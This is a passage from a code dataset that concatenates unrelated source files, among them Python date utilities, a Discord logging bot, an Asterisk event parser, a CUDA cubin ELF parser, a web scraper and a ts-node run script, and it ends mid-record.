Oguzhan Gencoglu\nContact : oguzhan.gencoglu@tut.fi\nCreated : 21.10.2015\nLatest Version : 14.12.2015\n'''\n\nfrom __future__ import absolute_import\nimport datetime as dt\nfrom monthdelta import MonthDelta\nfrom dateutil.relativedelta import relativedelta\nimport numpy as np\nfrom copy import deepcopy\n\n\ndef int2date(input_int):\n # convert int to date format\n # E.g. int2date(978307500)\n \n def converter(input_int):\n return dt.datetime.fromtimestamp(input_int)\n \n if type(input_int) in [int, np.int8, np.int16, np.int32, np.int64]:\n return converter(input_int)\n elif type(input_int) == np.ndarray:\n int2date_vec = np.vectorize(converter)\n return int2date_vec(input_int)\n elif type(input_int) == list:\n return [converter(i) for i in input_int]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n\ndef str2date(input_str, date_format):\n # convert string to date format\n # E.g. str2date(\"2015-11-04\", \"%Y-%m-%d\")\n \n def converter(input_str, date_format):\n return dt.datetime.strptime(input_str, date_format).date()\n \n if type(input_str) == str:\n return converter(input_str, date_format)\n elif type(input_str) == np.ndarray:\n str2date_vec = np.vectorize(converter)\n return str2date_vec(input_str, date_format)\n elif type(input_str) == list:\n return [converter(i, date_format) for i in input_str]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef increment_month(date, inc):\n # E.g. increment_month(dt.date(2007, 12, 20), -2)\n \n if type(date) == dt.date:\n return date + MonthDelta(inc)\n elif type(date) == np.ndarray:\n return np.array([i + MonthDelta(inc) for i in date])\n elif type(date) == list:\n return [i + MonthDelta(inc) for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef increment_year(date, inc):\n # E.g. increment_year(dt.date(2007, 12, 20), 4)\n \n if type(date) == dt.date:\n return date + relativedelta(years = inc)\n elif type(date) == np.ndarray:\n return np.array([i + relativedelta(years = inc) for i in date])\n elif type(date) == list:\n return [i + relativedelta(years = inc) for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef get_day(date):\n # returns day of the week\n # 1 : Monday, ... , 7 : Sunday\n \n if type(date) == dt.date:\n return date.isocalendar()[2]\n elif type(date) == np.ndarray:\n return np.array([i.isocalendar()[2] for i in date])\n elif type(date) == list:\n return [i.isocalendar()[2] for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef get_week(date):\n # returns week of the year (1 to 52)\n \n if type(date) == dt.date:\n return date.isocalendar()[1]\n elif type(date) == dt.datetime: \n return(dt.datetime.fromordinal(date.toordinal()).isocalendar()[1])\n elif type(date) == np.ndarray:\n return np.array([i.isocalendar()[1] for i in date])\n elif type(date) == list:\n return [i.isocalendar()[1] for i in date]\n else:\n raise ValueError(\"Incorrect input type!\")\n \n \ndef parse_date(date, fields = ['y', 'm', 'd']):\n # parse date in to year, month, week, day, hours and minutes\n # returns a list\n # E.g. parse_date(date, ['y', 'm', 'w', 'd', 'h', 'min'])\n \n def parser(date, fields = ['y', 'm', 'd']):\n parsed = []\n if 'y' in fields:\n parsed.append(date.year)\n if 'm' in fields:\n parsed.append(date.month)\n if 'w' in fields:\n parsed.append(date.isocalendar()[1]) \n if 'd' in fields:\n parsed.append(date.day)\n if 'h' in fields:\n parsed.append(date.hour)\n if 'min' in fields:\n parsed.append(date.minute)\n return parsed\n \n if type(date) == dt.date:\n return parser(date, fields)\n elif type(date) == np.ndarray:\n parsed = []\n for i in range(len(date)):\n parsed.append(parser(date[i], fields))\n return np.array(parsed)\n elif type(date) == list:\n parsed = []\n for i in range(len(date)):\n parsed.append(parser(date[i], fields))\n return parsed\n else:\n raise ValueError(\"Incorrect input type!\") \n \n \ndef find_time_dur(ini_date, fin_date, unit):\n # find time duration between two dates in\n # seconds, minutes, hours, days, months or years\n \n td = fin_date - ini_date\n print(td)\n if unit == \"sec\":\n return td.seconds + td.days * 24 * 60 * 60\n elif unit == \"min\":\n return (td.seconds // 60) + td.days * 24 * 60\n elif unit == \"hour\":\n return (td.seconds // 3600) + td.days * 24 \n elif unit == \"day\":\n return td.days\n elif unit == \"month\": # definition is a bit vague\n return (fin_date.year - ini_date.year)*12 + \\\n fin_date.month - ini_date.month\n elif unit == \"year\": # definition is a bit vague\n return td.days // 365 \n else:\n raise ValueError(\"Invalid unit!\") \n \n \ndef fill_dates(arr, dates_col_ind = 0, timestep = \"day\", repeated_cols=[], \n inserted_cols=[], inserted_val=0):\n # fills the missing dates in numpy array\n # \n # e.g. fill_dates([datetime.datetime(2001, 4, 2, 18, 42), \n # datetime.datetime(2001, 5, 2, 7, 13)],\n # timestep = \"day\")\n pass\n '''\n for r in range(arr.shape[0] - 1):\n \n ini = arr[r, dates_col_ind]\n fin = arr[r + 1, dates_col_ind]\n \n if timestep == \"min\":\n temp = deepcopy(ini)\n while(parse_date(temp, ['y', 'm', 'd', 'h']) != parse_date(fin, ['y', 'm', 'd', 'h'])):\n temp + dt.timedelta(minutes = 1)\n\n \n np.insert(arr, r, )\n '''","sub_path":"Python/Dates/date_functions.py","file_name":"date_functions.py","file_ext":"py","file_size_in_byte":6065,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"627767278","text":"NAME = 'validation'\nVERSION = '1.0.0'\nSUMMARY = 'cg3002'\nAUTHOR = ''\n\nimport os\nfrom distutils.core import setup\n\nold_cwd = os.getcwd()\nnew_cwd = os.path.normpath(os.path.join(os.path.dirname(__file__), '..'))\nos.chdir(new_cwd)\n\ntry:\n setup(\n name=NAME,\n version=VERSION,\n description=SUMMARY,\n author=AUTHOR,\n packages=[NAME],\n package_data={NAME: ['*.so', '*.pyd', '*.dll', '*.dll', '*.properties', '*.ini', '*.info']}\n )\nfinally:\n os.chdir(old_cwd)\n","sub_path":"validation/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"49005621","text":"import os\nimport discord\nimport logging\nfrom dotenv import load_dotenv\nfrom discord.ext import commands\n\nclass LogBot(commands.Cog):\n def __init__(self, bot):\n self.bot = bot\n\n # Connect\n @commands.Cog.listener()\n async def on_ready(self):\n print(f'Logged in as {self.bot.user} ({self.bot.user.id})')\n\n # Reconnect\n @commands.Cog.listener()\n async def on_resumed(self):\n print('Bot has reconnected!')\n \n # Error Handler\n @commands.Cog.listener()\n async def on_command_error(self, ctx, error):\n await ctx.send(error)\n \n\n# Gateway intents\nintents = discord.Intents.default()\nintents.members = True\nintents.presences = True\n\n# Bot prefix\nbot = commands.Bot(command_prefix='!',description='Log Bot', intents=intents, case_insensitive=True)\nbot.remove_command(\"help\")\n\n# Logging\nlogger = logging.getLogger('discord')\nlogger.setLevel(logging.DEBUG)\nhandler = logging.FileHandler(filename='discord.log', encoding='utf-8', mode='w')\nhandler.setFormatter(logging.Formatter('%(asctime)s:%(levelname)s:%(name)s: %(message)s'))\nlogger.addHandler(handler)\n\n# Loading data from .env file\nload_dotenv()\ntoken = os.getenv('TOKEN')\n\nif __name__ == '__main__':\n #load extention\n for filename in os.listdir('./commands'):\n if filename.endswith('.py'):\n bot.load_extension(f'commands.{filename[: -3]}')\n\n bot.add_cog(LogBot(bot))\n bot.run(token, reconnect=True)","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"245874402","text":"'''\nCreated on Apr 8, 2013\n\n@author: dev\n'''\n\nimport threading\nimport thread\nimport Queue\nimport time\nimport datetime\n\nclass MgrEvent(threading.Thread):\n\n lock = None\n lock_queue = None\n map_response = {}\n queue = None;\n actived = True\n \n def __init__(self):\n threading.Thread.__init__(self)\n self.lock = thread.allocate_lock()\n self.lock_queue = thread.allocate_lock()\n self.queue = Queue.Queue(0)\n \n def close(self):\n self.actived = False\n \n def push(self,mp):\n self.lock_queue.acquire()\n self.queue.put(mp)\n self.lock_queue.release()\n \n def pop(self):\n self.lock_queue.acquire()\n if self.queue.empty():\n self.lock_queue.release()\n return None\n \n cmd = self.queue.get()\n self.lock_queue.release()\n return cmd\n \n def setResponse(self,uuid):\n \n self.lock.acquire()\n self.map_response[uuid]= None\n \n self.lock.release()\n '''def __init__(self):\n threading.Thread.__init__(self) '''\n \n def updateResponse(self,uuid,value):\n self.lock.acquire()\n self.map_response[uuid]= value\n '''self.map_response.update(uuid,value)'''\n self.lock.release()\n \n def getResponse(self,uuid):\n self.lock.acquire()\n value = self.map_response.get(uuid)\n self.lock.release()\n return value\n \n def parse(self,line):\n print(line + '\\r\\n-------------\\r\\n')\n \n response = {}\n aux = line.split('\\r\\n')\n \n print(aux)\n \n for i in range(0,len(aux)):\n print(str(i) + ':' + aux[i])\n if len(aux[i]) < 3: \n \n print('fim de comando\\n')\n print(response)\n '''for key,value in response.items():\n print(key + '_>' + value)'''\n \n var= response.get('Event','None')\n print('var: ' + var)\n \n if var == 'OriginateResponse':\n uuid = response.get('ActionID','None')\n result = response.get('Response','None')\n reason = response.get('Reason','None')\n print('Resultado.uuid:' + uuid + ' result: ' + result + ' reason: ' + reason)\n self.updateResponse(uuid,reason)\n \n \n response.clear()\n print('fim de comando\\n')\n \n else:\n aux2 = aux[i].split(':');\n for j in range(0,len(aux2),2):\n print('j:[' + aux2[j] + '] [' + aux2[j + 1] + ']')\n response[aux2[j]] = aux2[j + 1].strip()\n \n \n \n '''for i in range(0,len(aux)):\n print('0:' + str(i) + ' ->' + aux[i])\n aux2 = aux[i].split('\\r\\n')\n print(aux2)\n for res in aux2:\n print('res: ' + res) '''\n \n '''for item in aux:\n print('item: ' + item)'''\n \n \n '''print(aux)'''\n '''\n for res in aux:\n if len(res) > 0:\n aux2 = res.split(':')\n if len(aux2) > 1:\n for i in range(0, len(aux2), 2):\n \n if len(aux2[i]) > 0:\n response[aux2[i]] = aux2[i + 1].strip() '''\n \n \n return response\n \n def run(self):\n \n while(self.actived):\n time.sleep(1)\n \n while(self.actived):\n line = self.pop()\n if line == None:\n break\n \n self.parse(line)\n \n ","sub_path":"asteriskmgrcall/o1messageserver/mgrEvent.py","file_name":"mgrEvent.py","file_ext":"py","file_size_in_byte":3909,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"548290561","text":"#!/usr/bin/python3\n#\n# Print a sorted list of all SRPMs.\n# This works against the repos configured on the system. So if you've got\n# RHEL7 installed, it will tell you about RHEL7. If you've got rawhide, it'll\n# tell you about that.\n\nimport dnf\n\nbase = dnf.base.Base()\nbase.read_all_repos()\nbase.fill_sack()\n\nq = base.sack.query().available()\n\nsrpms = {}\n\nfor pkg in list(q):\n if pkg.sourcerpm in srpms:\n srpms[pkg.sourcerpm].append(pkg.name)\n else:\n srpms[pkg.sourcerpm] = [pkg.name]\n\nfor (key, val) in sorted(srpms.items()):\n print(\"%s = %s %s\" % (key, len(val), val))\n","sub_path":"srpms.py","file_name":"srpms.py","file_ext":"py","file_size_in_byte":595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"492340732","text":"import re\nimport shlex\nfrom collections import defaultdict\nfrom subprocess import Popen, PIPE\nfrom util import dump_pickle\n\nisWord = re.compile('^[a-zA-Z]+$')\n\n\nclass Idx(dict):\n def __missing__(self, key):\n res = self[key] = Term(key)\n return res\n\n\nclass Term(object):\n def __init__(self, term):\n self.term = term\n self.docwhere = defaultdict(list)\n\n def add_doc_where(self, doc, where):\n self.docwhere[doc].extend(where)\n\n def is_word(self):\n return isWord.match(self.term) is not None\n\n def __str__(self):\n return '%s %s' % (self.term, self.docwhere)\n\n def __repr__(self):\n return self.__str__()\n\n\ndef galago_postingd_csv():\n cline = './rungalago.sh dump-index index'\n with open('output_files/idx3.csv', 'w') as retOut:\n runner = Popen(shlex.split(cline), stdout=retOut, stderr=PIPE)\n print(runner.stderr.read())\n idx = Idx()\n with open('idx3.csv', 'r') as gal:\n for line in gal:\n lsplit = line.rstrip().lstrip().split(',')\n word = lsplit[0]\n doc = lsplit[1]\n at = lsplit[2:]\n idx[word].add_doc_where(doc, at)\n dump_pickle(idx,'pickled/idx3.pickle')\n with open('output_files/idx3_terms.txt','w') as termOut:\n termOut.write(' '.join(sorted(filter(lambda x: isWord.match(x) is not None,list(idx.keys())))))\n\n\nif __name__ == '__main__':\n galago_postingd_csv()\n","sub_path":"assignments/a3/code/indexer.py","file_name":"indexer.py","file_ext":"py","file_size_in_byte":1438,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"539939051","text":"students = []\n\n\"\"\"\nclass Student():\n def __init__(self, name, student_id=332):\n student = {\n \"name\": name,\n \"student_id\": student_id\n }\n students.append(student)\n\n def __str__(self):\n return \"Student\"\n\n\nstudent = Student(\"Mark\")\nprint(students)\nprint(student)\n\"\"\"\n\n\n# Practice 2\nclass Students:\n def __init__(self, name, student_id=32):\n student = {\"name\": name, \"id\": student_id}\n students.append(student)\n\n def __str__(self):\n return \"Student\"\n\n\nstudent1 = Students(\"Mark\")\n\nprint(students)\nprint(student1)\n\n","sub_path":"ps_247_bm/ClassConstructors.py","file_name":"ClassConstructors.py","file_ext":"py","file_size_in_byte":593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"501514845","text":"#! /bin/bash\nimport sys\nimport binascii\nimport struct\n\nbasename = 'rgb_leds'\n\ntry:\n filename = 'assets/' + basename + '.led'\n delay = int(sys.argv[1])\nexcept:\n sys.stderr.write('Usage: convertleds.py \\n')\n sys.exit(1)\n\noutput = ''\n\nwith open(filename) as fp:\n contents = fp.read()\n contents = contents.replace(chr(10), '')\n contents = contents.replace(' ', '')\n newname = 'files/' + basename + '.hex'\n with open(newname, 'w') as fpW:\n fpW.write(struct.pack('>H', delay))\n fpW.write(binascii.unhexlify(contents))\n","sub_path":"tools/convertleds.py","file_name":"convertleds.py","file_ext":"py","file_size_in_byte":560,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"589654397","text":"import requests \nimport time\nimport os\nimport requests\nfrom bs4 import BeautifulSoup\n\ndef download(src,dst):\n\twith open(dst, 'wb') as f:\n\t\tf.write(requests.get(src).content)\n\treturn\n\ndef GetHTMLSoup(url):\n\theaders = {\n\t'Accept':'*/*; q=0.01',\n\t'Accept-Encoding':'gzip,deflate',\n\t'Accept-Language':'q=0.8,en-US;q=0.6,en;q=0.4',\n\t'Cache-Control':'no-cache',\n\t'Connection':'keep-alive',\n\t'User-Agent':'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.102 Safari/537.36'\n\t}\n\tr=requests.get(url,headers=headers)\n\tif r.status_code == 404:\n\t\t# A 404 was found\n\t\treturn None\n\tsoup = BeautifulSoup(r.text,\"html.parser\")\n\treturn soup\n\nif __name__==\"__main__\":\n\tsoup=GetHTMLSoup(\"http://www.finra.org/industry/trf/trf-regulation-sho-2009\")\n\ta=[]\n\tfor li in soup.find(class_='field-item even field field--name-body field--type-text-with-summary field--label-hidden').findAll('ul',recursive=False):\n\t\ta.extend(li.findAll('a'))\n\tb=[li['href'] for li in a]\n\tprint('\\n'.join(b))\n\texit(0)\n\timport os\n\tnames=[os.path.join(\"C:/Users/yu_heng/Downloads/\",li.split('/')[-1]) for li in b]\n\tpairs=zip(b,names)\n\ttotal=len(b)\n\tcount=0\n\tfor src,dst in pairs:\n\t\tcount+=1\n\t\tprint(\"({0}/{1}){2}\".format(count,total, src))\n\t\tdownload(src,dst)\n","sub_path":"programs/1. short volume/1 download zip files.py","file_name":"1 download zip files.py","file_ext":"py","file_size_in_byte":1255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"605381144","text":"from typing import Optional\n\nfrom .time_series_parameter import TimeSeriesParameter\n\n\nclass QboParameter(TimeSeriesParameter):\n def __init__(self):\n super(QboParameter, self).__init__()\n # Override existing attributes\n # =============================\n self.print_statements = False\n self.ref_timeseries_input = True\n self.test_timeseries_input = True\n self.granulate.remove(\"seasons\")\n\n # Custom attributes\n # -----------------\n self.ref_yrs: Optional[str] = None\n self.test_yrs: Optional[str] = None\n","sub_path":"e3sm_diags/parameter/qbo_parameter.py","file_name":"qbo_parameter.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"154191903","text":"import struct\nimport logging\nimport io\n\nfrom elftools.elf.elffile import ELFFile\nfrom elftools.elf.descriptions import describe_ei_class\nfrom elftools.elf.sections import SymbolTableSection\n\nfrom kernel import Kernel\nfrom segment import *\n\n\nclass Cubin(object):\n def __init__(self, cubin_file):\n self._file_name = cubin_file.name\n self._elf_file = ELFFile(cubin_file)\n self._symbols = None\n self._elf_class = None\n self._arch = None\n self._params = None\n self._reg_cnts = None\n self._inst_cnts = None\n self._bar_cnts = None\n self._max_reg_cnt = None\n self._param_begin_addrs = None\n self._param_indicator = None\n self._param_delimiter = None\n self._param_size_cbank = None\n self._param_cbank = None\n self._param_size = None\n self._elf_header = None\n self._program_header = None\n self._section_header = None\n self._sections = None\n self._symtab_sections = None\n self._code_sections = None\n self._nvinfo_sections = None\n self._constant_sections = None\n self._kernels = None\n\n def file_name(self):\n return self._file_name\n\n # Low level binary encoding read function\n def read(self, offset, size):\n self._elf_file.stream.seek(offset)\n return io.BytesIO(self._elf_file.stream.read(size))\n\n def symbols(self):\n if self._symbols is None:\n symtab_index = 0\n symbols = list()\n for section in self._elf_file.iter_sections():\n if isinstance(section, SymbolTableSection):\n if section[\"sh_entsize\"] == 0:\n logging.info(\"Symbol table '%s' has a sh_entsize of zero!\", section.name)\n continue\n for symbol_index, symbol in enumerate(section.iter_symbols()):\n symbol_entry = dict()\n symbol_entry[\"index\"] = symbol_index\n symbol_entry[\"symtab_index\"] = symtab_index\n symbol_entry[\"section_index\"] = symbol[\"st_shndx\"]\n symbol_entry[\"name\"] = symbol.name\n symbol_entry[\"type\"] = symbol[\"st_info\"][\"type\"]\n symbols.append(symbol_entry)\n symtab_index += 1\n self._symbols = symbols\n return self._symbols\n\n def elf_class(self):\n if self._elf_class is None:\n e_ident = self._elf_file.header[\"e_ident\"]\n self._elf_class = int(describe_ei_class(e_ident[\"EI_CLASS\"]).replace(\"ELF\", \"\"))\n return self._elf_class\n\n def arch(self):\n if self._arch is None:\n self._arch = self._elf_file.header[\"e_flags\"] & 0xFF\n return self._arch\n\n def params(self):\n if self._params is None:\n params = list()\n for nvinfo_section in self.nvinfo_sections():\n begin_param_offset = nvinfo_section.properties(\"param_offset\")\n begin_param_addr = nvinfo_section.properties(\"param_addr\")\n if begin_param_offset == 0:\n continue\n section_stream = self._elf_file.stream\n section_stream.seek(nvinfo_section.offset() + begin_param_offset)\n # move to param fields\n param_list = list()\n while True:\n param = dict()\n buf = section_stream.read(4)\n if not buf:\n break\n unpack_buf = struct.unpack(\"I\", buf)[0]\n if unpack_buf != self.param_delimiter():\n break\n buf = section_stream.read(12)\n param[\"delimiter\"] = self.param_delimiter()\n param[\"index\"] = struct.unpack(\"III\", buf)[0]\n param[\"ordinal\"] = struct.unpack(\"III\", buf)[1] & 0xFFFF\n param[\"offset\"] = begin_param_addr + (struct.unpack(\"III\", buf)[1] >> 16)\n param[\"size\"] = struct.unpack(\"III\", buf)[2] >> 18\n param[\"cbank\"] = struct.unpack(\"III\", buf)[2] >> 12 & 0xFF\n param_list.append(param)\n params.append(param_list)\n self._params = params\n return self._params\n\n def reg_cnts(self):\n if self._reg_cnts is None:\n symbols = self.symbols()\n cnts = list()\n for symbol in symbols:\n if symbol[\"type\"] == \"STT_FUNC\":\n section = self.sections()[symbol[\"section_index\"]]\n cnts.append((section.info() & 0xff000000) >> 24)\n self._reg_cnts = cnts\n return self._reg_cnts\n\n # get num insts + num ctrls\n def inst_cnts(self):\n if self._inst_cnts is None:\n symbols = self.symbols()\n cnts = list()\n for symbol in symbols:\n if symbol[\"type\"] == \"STT_FUNC\":\n section = self.sections()[symbol[\"section_index\"]]\n cnts.append(section.size() >> 3)\n self._inst_cnts = cnts\n return self._inst_cnts\n\n def bar_cnts(self):\n if self._bar_cnts is None:\n symbols = self.symbols()\n cnts = list()\n for symbol in symbols:\n if symbol[\"type\"] == \"STT_FUNC\":\n section = self.sections()[symbol[\"section_index\"]]\n cnts.append((section.flag() & 0x01f00000) >> 20)\n self._bar_cnts = cnts\n return self._bar_cnts\n\n def max_reg_cnt(self):\n if self._max_reg_cnt is None:\n max_reg_cnt = 0\n if self.arch() == 52 or self.arch() == 60:\n max_reg_cnt = 255\n # TODO(keren): add other archs\n self._max_reg_cnt = max_reg_cnt\n return self._max_reg_cnt\n\n def param_begin_addrs(self):\n if self._param_begin_addrs is None:\n param_begin_addrs = list()\n for index in range(len(self.code_sections())):\n nvinfo_section = self.nvinfo_sections()[index]\n constant_section = self.constant_sections()[index]\n free_constant_mem_addr = constant_section.size()\n param_begin_addr = nvinfo_section.properties(\"param_addr\")\n if param_begin_addr == 0:\n param_begin_addrs.append(free_constant_mem_addr)\n else:\n param_begin_addrs.append(param_begin_addr)\n self._param_begin_addrs = param_begin_addrs\n return self._param_begin_addrs\n\n def param_indicator(self):\n if self._param_indicator is None:\n self._param_indicator = 0x00080a04\n return self._param_indicator\n\n def param_delimiter(self):\n if self._param_delimiter is None:\n self._param_delimiter = 0x000c1704\n return self._param_delimiter\n\n def param_size_cbank(self):\n if self._param_size_cbank is None:\n self._param_size_cbank = 0x1903\n return self._param_size_cbank\n\n def param_cbank(self):\n if self._param_cbank is None:\n self._param_cbank = 0x1f\n return self._param_cbank\n\n def param_size(self):\n if self._param_size is None:\n self._param_size = 8\n return self._param_size\n\n # Return elf header binary encoding\n def elf_header(self):\n if self._elf_header is None:\n properties = dict()\n if self.elf_class() == 64:\n properties[\"pgh_offset\"] = 32\n properties[\"sh_offset\"] = 40\n properties[\"pgh_offset_size\"] = 8\n properties[\"sh_offset_size\"] = 8\n else: # FIXME(Keren): for ELF-32\n properties[\"pgh_offset\"] = 0\n properties[\"sh_offset\"] = 0\n properties[\"pgh_offset_size\"] = 0\n properties[\"sh_offset_size\"] = 0\n properties[\"entry\"] = self._elf_file.header\n size = self._elf_file.structs.Elf_Ehdr.sizeof()\n segment = Segment(0, \"elf_header\", \"header\", 0, size, 0)\n self._elf_header = SegmentRef(0, segment, properties=properties)\n return self._elf_header\n\n # Return program header binary encoding\n def program_header(self):\n if self._program_header is None:\n properties = dict()\n properties[\"offset_offset\"] = 8\n properties[\"offset_offset_size\"] = 8\n properties[\"file_offset\"] = 32\n properties[\"file_offset_size\"] = 8\n properties[\"mem_offset\"] = 40\n properties[\"mem_offset_size\"] = 8\n properties[\"entry_size\"] = 56\n entries = list()\n for entry in self._elf_file.iter_segments():\n entries.append(entry)\n properties[\"entries\"] = entries\n offset = self._elf_file.header[\"e_phoff\"]\n size = self._elf_file.structs.Elf_Phdr.sizeof() * self._elf_file.num_segments()\n segment = Segment(0, \"program_header\", \"header\", offset, size, 0)\n self._program_header = SegmentRef(0, segment, properties)\n return self._program_header\n\n # Return section header binary encoding\n def section_header(self):\n if self._section_header is None:\n properties = dict()\n properties[\"offset_offset\"] = 24\n properties[\"offset_offset_size\"] = 8\n properties[\"size_offset\"] = 32\n properties[\"size_offset_size\"] = 8\n properties[\"reg_offset\"] = 44\n properties[\"reg_offset_size\"] = 4\n properties[\"entry_size\"] = 64\n entries = list()\n for entry in self._elf_file.iter_sections():\n entries.append(entry)\n properties[\"entries\"] = entries\n offset = self._elf_file.header[\"e_shoff\"]\n size = self._elf_file.structs.Elf_Shdr.sizeof() * self._elf_file.num_sections()\n segment = Segment(0, \"section_header\", \"header\", offset, size, 0)\n self._section_header = SegmentRef(0, segment, properties=properties)\n return self._section_header\n\n # Return sections binary encoding\n def sections(self):\n if self._sections is None:\n sections = list()\n for idx, s in enumerate(self._elf_file.iter_sections()):\n # The first section is used as aligment\n section = Segment(idx, s.name, s[\"sh_type\"], s[\"sh_offset\"],\n s[\"sh_size\"], s[\"sh_addralign\"],\n flag=s[\"sh_flags\"], info=s[\"sh_info\"])\n sections.append(section)\n self._sections = sections\n return self._sections\n\n # Return section offset for special sections, including:\n # - symtab\n # - codes\n # - nvinfo\n def symtab_sections(self):\n if self._symtab_sections is None:\n symtab_sections = list()\n symtab_index = 0\n for s in self.sections():\n if s.type() == \"SHT_SYMTAB\":\n properties = dict()\n properties[\"section_index\"] = s.index()\n properties[\"symbol_size\"] = 24\n properties[\"size_offset\"] = 16\n properties[\"size_offset_size\"] = 8\n entries = list()\n for entry in self.symbols():\n if entry[\"symtab_index\"] == symtab_index:\n entries.append(entry)\n properties[\"entries\"] = entries\n symtab = SegmentRef(symtab_index, s, properties=properties)\n symtab_sections.append(symtab)\n symtab_index += 1\n self._symtab_sections = symtab_sections\n return self._symtab_sections\n\n def code_sections(self):\n if self._code_sections is None:\n code_sections = list()\n code_section_index = 0\n for symbol in self.symbols():\n if symbol[\"type\"] == \"STT_FUNC\":\n for s in self.sections():\n if s.index() == symbol[\"section_index\"]:\n properties = dict()\n properties[\"section_index\"] = s.index()\n properties[\"function_name\"] = symbol[\"name\"]\n code_section = SegmentRef(code_section_index, s, properties=properties)\n code_sections.append(code_section)\n code_section_index += 1\n self._code_sections = code_sections\n return self._code_sections\n\n def nvinfo_sections(self):\n if self._nvinfo_sections is None:\n nvinfo_sections = list()\n nvinfo_section_index = 0\n for code_section in self.code_sections():\n nvinfo_section_name = \".nv.info.\" + code_section.properties(\"function_name\")\n find = False\n section = None\n for s in self.sections():\n if s.name() == nvinfo_section_name:\n find = True\n section = s\n break\n if find is False:\n logging.warning(\"Cannot find \" + nvinfo_section_name)\n continue\n section_stream = self._elf_file.stream\n section_stream.seek(section.offset())\n begin_param_offset = 0\n begin_param_addr = 0\n param_size_offset = 0\n while True:\n buf = section_stream.read(4)\n begin_param_offset += 4\n param_size_offset += 4\n if not buf:\n break\n if struct.unpack(\"I\", buf)[0] == self.param_indicator():\n buf = section_stream.read(12)\n begin_param_addr = struct.unpack(\"III\", buf)[1] & 0xFFFF\n begin_param_offset += 12\n param_size_offset += 4\n break\n end_param_offset = begin_param_offset\n while True:\n buf = section_stream.read(4)\n end_param_offset += 4\n if not buf:\n break\n unpack_buf = struct.unpack(\"I\", buf)[0]\n if unpack_buf != self.param_delimiter():\n end_param_offset -= 4\n break\n section_stream.read(12)\n end_param_offset += 12\n properties = dict()\n properties[\"param_addr\"] = begin_param_addr\n properties[\"param_offset\"] = begin_param_offset\n properties[\"param_size\"] = end_param_offset - begin_param_offset\n properties[\"param_size_offset1\"] = param_size_offset\n properties[\"param_size_offset1_size\"] = 4\n properties[\"param_size_offset2\"] = param_size_offset + 4\n properties[\"param_size_offset2_size\"] = 4\n properties[\"section_index\"] = section.index()\n nvinfo_section = SegmentRef(nvinfo_section_index, section, properties=properties)\n nvinfo_sections.append(nvinfo_section)\n nvinfo_section_index += 1\n self._nvinfo_sections = nvinfo_sections\n return self._nvinfo_sections\n\n def constant_sections(self):\n if self._constant_sections is None:\n constant_sections = list()\n constant_section_index = 0\n for code_section in self.code_sections():\n constant_section_name = \".nv.constant0.\" + code_section.properties(\"function_name\")\n find = False\n section = None\n for s in self.sections():\n if s.name() == constant_section_name:\n section = s\n find = True\n break\n if find is False:\n logging.warning(\"Cannot find \" + constant_section_name)\n continue\n properties = dict()\n properties[\"section_index\"] = section.index()\n constant_section = SegmentRef(constant_section_index, section, properties=properties)\n constant_sections.append(constant_section)\n constant_section_index += 1\n self._constant_sections = constant_sections\n return self._constant_sections\n\n # Return copies of the code buffer\n def kernels(self):\n if self._kernels is None:\n kernels = list()\n bar_cnts = self.bar_cnts()\n reg_cnts = self.reg_cnts()\n params = self.params()\n for code_section in self.code_sections():\n index = code_section.index()\n kernel = Kernel(index, code_section.properties(\"function_name\"),\n params[index], reg_cnts[index], bar_cnts[index])\n kernels.append(kernel)\n self._kernels = kernels\n return self._kernels\n","sub_path":"python/cubin.py","file_name":"cubin.py","file_ext":"py","file_size_in_byte":17285,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"277552972","text":"import threading\nfrom youtupi.modules import local, youtube\n \nvideoUrlLock = threading.RLock()\n\ndef prepareVideo(video):\n with videoUrlLock: \n if not video.url:\n url = local.getUrl(video.data)\n if not url:\n url = youtube.getUrl(video.data)\n video.url = url","sub_path":"youtupi/modules/videoUrl.py","file_name":"videoUrl.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"264601949","text":"#!/usr/bin/env python\n\ndef setup():\n import os, subprocess, datetime\n if os.path.exists(os.path.join(os.getcwd(), \"setup.log\")):\n print(\"'setup.log' exists. Typescript implementation setup correctly\")\n return\n\n print(\"Need to install nodejs & npm\")\n with open('setup.log', 'w') as logFile:\n logFile.write(\"# This is an autogenerated file made by 'run.py' on {}\\n\".format(datetime.datetime.now()))\n logFile.write(\"# => DO NOT DELETE THIS FILE OR SETUP WILL BE CALLED AGAIN\\n\")\n logFile.flush()\n subprocess.call([\"npm\", \"install\"], stdout = logFile, stderr = logFile)\n logFile.flush()\n logFile.write(\"\\n# Setup completed on {}\".format(datetime.datetime.now()))\n #end logFile\n#end run\n\ndef build():\n print(\"No build needed for ts-node\")\n#end run\n\ndef run(cmd_args):\n import subprocess\n process_args = [\"node\", \"-r\", \"ts-node/register\", \"program.ts\"] + cmd_args\n retcode = subprocess.call(process_args)\n if retcode != 0:\n raise RuntimeError(\"Program run returned non-zero exit 